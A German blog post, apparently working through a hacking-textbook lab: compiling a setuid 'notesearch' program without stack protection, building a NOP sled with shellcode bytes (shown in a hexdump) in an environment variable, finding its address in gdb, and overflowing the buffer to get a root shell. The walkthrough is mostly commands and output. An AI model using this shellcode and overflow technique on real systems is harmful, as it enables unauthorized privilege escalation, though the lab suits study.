Vorgeschichte !!!
Wenn ihr den Kram schon auf Seite 102 und 107 durchgetippt habt, könnt ihr den ersten Abschnitt überspringen.


root@toshiba:/home/tomovic/hack# gcc -g -fno-stack-protector -z execstack -o notetaker notetaker.c
root@toshiba:/home/tomovic/hack# gcc -g -fno-stack-protector -z execstack -o notesearch notesearch.c
notesearch.c: In Funktion »print_notes«:
notesearch.c:49:3: Warnung: Format ist kein Zeichenkettenliteral, und keine Formatargumente [-Wformat-security]
root@toshiba:/home/tomovic/hack# sudo chown root:root ./notetaker
root@toshiba:/home/tomovic/hack# sudo chmod u+s ./notetaker
root@toshiba:/home/tomovic/hack# ls -l ./notetaker
-rwsr-xr-x 1 root root 9867 Jul 27 14:36 ./notetaker
root@toshiba:/home/tomovic/hack# ./notetaker "this is a test of multiusr notes"
[DEBUG] buffer   @ 0x96ef008: 'this is a test of multiusr notes'
[DEBUG] datafile @ 0x96ef070: '/var/notes'
[DEBUG] file descriptor is 3
Note has been saved.
root@toshiba:/home/tomovic/hack# ls -l /var/notes
-rw------- 1 root root 38 Jul 27 15:44 /var/notes
root@toshiba:/home/tomovic/hack# sudo chown root:root ./notesearch
root@toshiba:/home/tomovic/hack# sudo chmod u+s ./notesearch
root@toshiba:/home/tomovic/hack# ./notesearch
[DEBUG] found a 33 byte note for user id 0
this is a test of multiusr notes
-------[ end of note data ]-------
root@toshiba:/home/tomovic/hack#
root@toshiba:/home/tomovic/hack#

Das Buch arbeitet NUR mit der Shell. Damals dachte ich, dass das Käse wäre. Mittlerweile will ich nichts mehr anderes.

root@toshiba:/home/tomovic/hack# for i in $(head exploit_notesearch.c | grep "^/"" | cut -d\" -f2)
> do
> echo -en $i
> done > shellcode.bin
> done
> shellcode.bin
> ^C
root@toshiba:/home/tomovic/hack# for i in $(head exploit_notesearch.c | grep "^\"" | cut -d\" -f2)
> do
> echo -en $i
> done > shellcode.bin
root@toshiba:/home/tomovic/hack# hexdump -C shellcode.bin
00000000  31 c0 31 db 31 c9 99 b0  a4 cd 80 6a 0b 58 51 68  |1.1.1......j.XQh|
00000010  2f 2f 73 68 68 2f 62 69  6e 89 e3 51 89 e2 53 89  |//shh/bin..Q..S.|
00000020  e1 cd 80                                          |...|
00000023
root@toshiba:/home/tomovic/hack# export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
root@toshiba:/home/tomovic/hack# echo $SHELLCODE
                                                                                                                                                                                                        1 1 1ə  ̀j
                                                                 XQh//shh/bin  Q  S  ̀

Die Ausgabe vom echo sieht anders aus, das ist aber normal. Das Buch möchte zeigen, dass ssh bin in dem Code steckt. In den letzen Jahren hat sich viel getan an der OS Entwicklung von Ubuntu, deswegen sieht der Speicher auch anders aus.

root@toshiba:/home/tomovic/hack# gdb -q ./notesearch
Reading symbols from /home/tomovic/hack/notesearch...done.
(gdb) break main
Haltepunkt 1 at 0x8048811: file notesearch.c, line 15.
(gdb) run
Starting program: /home/tomovic/hack/notesearch

Breakpoint 1, main (argc=1, argv=0xbffff6c4) at notesearch.c:15
15  int userid, printing=1, fd; // file descriptor
(gdb) i r esp
esp            0xbffff5a0 0xbffff5a0
(gdb) x/24s $esp + 0x240
0xbffff7e0: "/home/tomovic/hack/notesearch"
0xbffff7fe: "SHELLCODE=", '\220' <repeats 190 times>...
0xbffff8c6: "\220\220\220\220\220\220\220\220\220\220\061\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀"
0xbffff8f4: "TERM=xterm"
0xbffff8ff: "SHELL=/bin/bash"
0xbffff90f: "XDG_SESSION_COOKIE=451dfe9b6db1566c4c5e872151f29c9e-1374928359.611260-2109555288"
0xbffff960: "USER=root"
0xbffff96a: "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31"...
0xbffffa32: ":*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.d"...
0xbffffafa: "eb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35"...
0xbffffbc2: ":*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mk"...
0xbffffc8a: "v=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35"...
0xbffffd52: ":*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00"...
0xbffffe1a: ";36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:"
0xbffffe8b: "COLUMNS=144"
0xbffffe97: "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
0xbffffed9: "MAIL=/var/mail/root"
0xbffffeed: "_=/usr/bin/gdb"
0xbffffefc: "PWD=/home/tomovic/hack"
0xbfffff13: "LANG=de_DE.UTF-8"
0xbfffff24: "LINES=41"
0xbfffff2d: "HOME=/root"
0xbfffff38: "SHLVL=1"
0xbfffff40: "LOGNAME=root"
(gdb) x/s 0xbffff7ff
0xbffff7ff: "HELLCODE=", '\220' <repeats 191 times>...
(gdb) x/s 0xbffff800
0xbffff800: "ELLCODE=", '\220' <repeats 192 times>...
(gdb) x/s 0xbffff811
0xbffff811: '\220' <repeats 191 times>, "\061\300\061\333\061ə\260\244"...
(gdb) x/s 0xbffff822
0xbffff822: '\220' <repeats 174 times>, "\061\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211"...
(gdb) x/s 0xbffff844
0xbffff844: '\220' <repeats 140 times>, "\061\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀"
(gdb) quit
A debugging session is active.

 Inferior 1 [process 2914] will be killed.

Quit anyway? (y or n) y
root@toshiba:/home/tomovic/hack# ./notesearch $(perl -e 'print "\x44\xf8\xff\xbf"x40')
[DEBUG] found a 33 byte note for user id 0
-------[ end of note data ]-------
# ls
a.out        decode_sniff.c        getenvaddr.c  notetaker.c        simple_server.c
addr_struct.c       dissembler.c        hacking-network.h  overflow_example       simplenote.c

# ^C
# exit
root@toshiba:/home/tomovic/hack#

 

   

Forensik  

   
© ALLROUNDER